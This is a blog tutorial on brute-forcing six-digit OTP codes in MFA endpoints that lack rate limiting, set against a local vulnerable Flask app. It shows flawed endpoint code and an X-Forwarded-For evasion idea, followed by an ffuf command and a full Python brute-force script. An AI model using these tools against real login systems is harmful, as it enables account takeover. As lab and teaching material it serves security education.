MFA Mechanisms Part 1 - Uh, no limit?!

MFA Mechanisms Part 1 - Uh, no limit?!

Abusing no rate limiting in MFA mechanisms.

Introduction

Multi-Factor Authentication (MFA) is the mechanism that has been used for some years by large, small and medium-sized companies (i.e., everyone). This type of mechanism is used as an extra layer of “security” to enhance authentication processes. So, what’s going on with this? The thing here is that many times companies create their own MFA mechanisms and make BASIC errors at the code level and the logic in which they develop these mechanisms, and yeah ma bro! That’s why us continuously seek to identify weaknesses in these mechanisms to bypass them. In this first part of the series, we will focus exclusively on exploiting “MFAs with No Rate Limit” vulnerabilities—an often-overlooked misconfiguration that can leave MFA systems wide open to brute-force attacks.

Understanding Rate Limits

Well, rate limits are a crucial aspect of authentication systems, designed to control the number of requests a user or IP address can make within a specific timeframe (it could be bypassed btw). Without proper rate limiting, we can brute-force MFA tokens or credentials without encountering any restrictions while performing the attack. Many applications fail to implement rate limits on key endpoints such as OTP submission or account recovery workflows, exposing them to abuse.

Examples of Overlooked Rate-Limiting Configurations

  • No Rate Limit on OTP Endpoints
    • Endpoint: /verify-otp
    • Request payload (json format): { "otp": "123456" }
    • An attacker can brute-force the OTP as the application accepts unlimited attempts.
  • IP-Based Rate Limiting Only
    • It could be bypassed by using botnets, proxies, or rotating IP addresses.
  • Rate Limits Ignored for Trusted Headers

Let’s see some mistakes at code level. These code blocks were taken from widely used GitHub repos, but I’m not gonna snitch dawg.

Bad Coding Practices

NO RATE LIMITING

@app.route('/verify-otp', methods=['POST'])
def verify_otp():
    user_input = request.json.get('otp')
    stored_otp = get_stored_otp_for_user()
    if user_input == stored_otp:
        return jsonify({"message": "OTP verified!"}), 200
    return jsonify({"message": "Invalid OTP"}), 401

The above code allows unlimited OTP verification attempts without any checks, enabling brute-force attacks.

NAIVE RATE LIMITING

@app.route('/verify-otp', methods=['POST'])
def verify_otp():
    user_ip = request.remote_addr
    attempt_count[user_ip] += 1
    if attempt_count[user_ip] > 10:
        return jsonify({"message": "Too many attempts"}), 429

    user_input = request.json.get('otp')
    stored_otp = get_stored_otp_for_user()
    if user_input == stored_otp:
        return jsonify({"message": "OTP verified!"}), 200
    return jsonify({"message": "Invalid OTP"}), 401

You see what’s happening? Ya, u are right, the code relies only on the IP address for rate limiting. It can be spoofed by using the X-Forwarded-For HTTP header or use rotating proxies to evade restrictions.

Ayo, time to get hands on!

Download the vulnerable code (flask app): zt-vulnapp1-otp.py

Set up the environment:

  • Create a python virtual environment in the same folder as the vuln app file and then activate it.
    python3 -m venv venv
    source ./venv/bin/activate
    
  • Run the app.
    python vulnappfile.py
    

Vulnerable code - Let’s exploit it

Note: the setup steps are above.

Invalid OTP code

Scenario: We already got valid credentials for a login page, but now we are facing a OTP MFA mechanism, after testing we noticed that after several failed attempts no alerts showed up and we were not blocked by the web application. No rate limiting = Brute force, we already know that the OTP is a six digit code. That means that we need to test all the possible combinations from 0000001 to 999999.

Developing the exploit

We have so many ways to brute force the OTP code, we can do it using Burp Suite Intruder tool (Community edition is slow af), bash, python and also Ffuf would work. For this blog we will develop two exploits (python & Ffuf).

Data we need to know:

  • Request method: POST
  • Target: http://pentest:5000
  • Endpoint: /verify-otp
  • Content-Type: application/json
  • Data: {“otp”:”000000”}

Brute Force with Ffuf

For Ffuf we will need to create the wordlist that we will use for the brute force attack, this could be easily created with the following bash oneliner:

seq -w 000001 999999 > wordlist.txt

Generated Bash numbers' list

Now, the Ffuf payload need to be crafted with the previously information we gathered:

❯ ffuf -w wordlist.txt -u http://pentest:5000/verify-otp -X POST -H "Content-Type: application/json" -d '{"otp": "FUZZ"}' -mc 200

Ffuf tool output

We found the valid OTP code, checking in Burp Suite we can confirm that the OTP is in fact the valid one.

Burp Suite - Ffuf encountered code

There u go! MFA mechanism bypassed.

Brute Force with Python

We can do the same by crafting a custom script with python:

import requests
import sys
import signal

# Target URL
target_url = "Target URL here"

# Exit flag
exit_flag = False

def signal_handler(sig, frame):
    print("\n[x] You are exiting!")
    sys.exit(0)

# Banner
def zerotrust_banner():
    print(r"""
      __  ____  ____    ____  ____  _  _  ____  ____ 
     /  \(_  _)(  _ \  (  _ \(  _ \/ )( \(_  _)(  __)
    (  O ) )(   ) __/   ) _ ( )   /) \/ (  )(   ) _) 
     \__/ (__) (__)    (____/(__\_)\____/ (__) (____)

    By: ZeroTrustOffsec & Bl4cksku11 
    """)

# Function to send POST requests
def send_otp_request():
    for i in range(1, 1000000):
        if exit_flag:
            break
        otp = f"{i:06d}" # This will set all OTP codes at six digits
        payload = {"otp": otp}
        try:
            response = requests.post(target_url, json=payload, timeout=5)
            print(f"[+] Tried OTP {otp}, Response Code: {response.status_code}")
            
            if response.status_code == 200:
                print(f"[!] OTP found: {otp}")
                break
        except requests.exceptions.ConnectionError:
            print("[!] Server not responding")
            break
        except requests.exceptions.RequestException as e:
            print(f"[!] Error trying OTP {otp}: {e}")

if __name__ == "__main__":
    # Print banner
    zerotrust_banner()

    # Set up signal handler for Ctrl+C
    signal.signal(signal.SIGINT, signal_handler)

    # Start brute force
    send_otp_request()

    print("[!] Brute-force complete.")

Custom script output

OTP code brute forced with custom script

Again, we were able to brute force the code but now using python.

The real sh17

Well, not all that glitters is gold. Let’s keep it real, this technique (brute force) has a very low success rate ngl. Many MFA codes are time-based. This restricts the number of tries we can make within a valid time frame. This is all about luck fr.

In the next chapters of this serie, we will see other techniques that we could use to bypass MFA mechanisms.

Some cool MFA bypass reports

MTN Group Report 777957 - OTP bypass

UPchieve Report 1406471 - Authentication Bypass

Stay humble, stay curious and keep grinding!


© 2025. All rights reserved.